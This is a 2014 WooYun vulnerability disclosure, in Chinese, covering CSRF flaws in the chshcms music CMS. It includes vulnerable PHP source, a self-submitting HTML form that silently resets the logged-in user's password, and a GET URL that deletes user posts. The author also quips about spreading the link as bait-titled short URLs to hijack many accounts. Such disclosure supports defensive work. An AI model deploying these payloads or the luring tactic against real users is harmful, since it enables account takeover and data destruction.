当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065626

漏洞标题:程氏舞曲CMS最新版CSRF漏洞打包

相关厂商:chshcms.com

漏洞作者: Jim叔叔

提交时间:2014-06-20 17:56

修复时间:2014-09-18 17:58

公开时间:2014-09-18 17:58

漏洞类型:CSRF

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-20: 细节已通知厂商并且等待厂商处理中
2014-06-21: 厂商已经确认,细节仅向厂商公开
2014-06-24: 细节向第三方安全合作伙伴开放
2014-08-15: 细节向核心白帽子及相关领域专家公开
2014-08-25: 细节向普通白帽子公开
2014-09-04: 细节向实习白帽子公开
2014-09-18: 细节向公众公开

简要描述:

先来一小包。

详细说明:

以下CSRF漏洞均只需在登录后点一下链接即可触发
==1、修改当前登录用户密码
source code:

public function passtoadd()
{
$CS_Pass = $this->input->get_post('userpass', TRUE); //userpass
$CS_Pass2 = $this->input->get_post('userpass2', TRUE); //userpass2
if(empty($CS_Pass)) $this->CsdjSkins->Msg_url('密码不能为空!','javascript:history.back();');
if($CS_Pass!=$CS_Pass2) $this->CsdjSkins->Msg_url('两次密码不一直!','javascript:history.back();');
$uid=$this->CsdjSkins->getuser('uid',$this->session->userdata('username'),2);
$updata['CS_Pass']=md5($CS_Pass);
$this->CsdjDB->get_update ('user',$uid,$updata);
$keyname=$this->session->userdata('username')."_passkey";
$Pass[$keyname]="";
$Pass['username']="";
$this->session->set_userdata($Pass);
$this->CsdjSkins->Msg_url('恭喜您,密码修改成功!',site_url('user/login/'),'ok');
}


从这段代码可以看出,并没有对当前用户是否真的点了修改密码按钮进行验证。
漏洞利用代码:http://jinchi.sinaapp.com/test/cscms_csrf.html 访问即可修改当前用户密码为wooyun

<form action="http://demo.chshcms.com/index.php/user/edit/pass_save" method="post" name="frm">
<input name="cs_pass1" type="hidden" value="wooyun"/>

<input name="cs_pass2" type="hidden" value="wooyun"/>
</form>
<script>
frm.submit();
</script>


==2、说说删除

public function del()
{
$id=intval($this->input->get('id', TRUE)); //id
if($id==0) $this->CsdjSkins->blog_url('抱歉,参数错误!','javascript:history.back();');
//删除动态
$this->db->query("delete from ".CS_SqlPrefix."dt where cs_cid=8 and cs_user='".$this->session->userdata('cs_name')."' and cs_did='".$id."'");
$this->db->query("delete from ".CS_SqlPrefix."blog where cs_user='".$this->session->userdata('cs_name')."' and cs_id='$id'");

$this->CsdjSkins->Msg_url('恭喜您,删除成功!',@$_SERVER['HTTP_REFERER']);
}


漏洞payload:
http://demo.chshcms.com/index.php/user/blog/del?id=1
访问一下即删除了当前用户发表的id为1的说说。
==3、文章、音乐、视频等等删除与 2 类似

漏洞证明:

登陆后访问 http://jinchi.sinaapp.com/test/cscms_csrf.html 要是改成短地址,标注一个苍老师XXX,就可以自动修改一大批青年的密码了

1.jpg


http://demo.chshcms.com/index.php/user/blog/del?id=2

2.jpg


修复方案:

增加token验证,顺便求礼物。。

版权声明:转载请注明来源 Jim叔叔@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-06-21 15:19

厂商回复:

首先感谢您的检测,
修改密码确实存在CSRF,已经修复~!
删除数据的属于正常~,前提你要知道会员的数据ID!

最新状态:

暂无